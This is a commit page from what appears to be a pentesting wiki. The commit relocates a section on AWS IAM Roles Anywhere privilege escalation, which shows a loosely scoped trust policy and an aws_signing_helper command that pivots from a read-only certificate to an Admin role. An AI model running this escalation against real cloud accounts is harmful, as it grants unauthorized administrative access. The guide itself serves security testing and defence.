Skip to content

Commit cfb49f4

Browse files
committed
UPDATE
1 parent 9b9670e commit cfb49f4

File tree

2 files changed

+44
-50
lines changed

2 files changed

+44
-50
lines changed

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md

Lines changed: 0 additions & 50 deletions
This file was deleted.

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -119,6 +119,50 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
119119
../aws-basic-information/aws-federation-abuse.md
120120
{{#endref}}
121121

122+
### IAM Roles Anywhere Privesc
123+
124+
AWS IAM RolesAnywhere allows workloads outside AWS to assume IAM roles using X.509 certificates. But when trust policies aren't properly scoped, they can be abused for privilege escalation.
125+
126+
This policy lacks restrictions on which trust anchor or certificate attributes are allowed. As a result, any certificate tied to any trust anchor in the account can be used to assume this role.
127+
128+
```json
129+
{
130+
"Version": "2012-10-17",
131+
"Statement": [
132+
{
133+
"Effect": "Allow",
134+
"Principal": {
135+
"Service": "rolesanywhere.amazonaws.com"
136+
},
137+
"Action": [
138+
"sts:AssumeRole",
139+
"sts:SetSourceIdentity",
140+
"sts:TagSession"
141+
]
142+
}
143+
]
144+
}
145+
146+
```
147+
148+
To privesc, the `aws_signing_helper` is required from https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
149+
150+
Then using a valid certificate the attacker can pivot into the higher privilege role
151+
152+
```bash
153+
aws_signing_helper credential-process \
154+
--certificate readonly.pem \
155+
--private-key readonly.key \
156+
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
157+
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
158+
--role-arn arn:aws:iam::123456789012:role/Admin
159+
```
160+
161+
162+
### References
163+
164+
- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
165+
122166
{{#include ../../../banners/hacktricks-training.md}}
123167

124168

0 commit comments

Comments
 (0)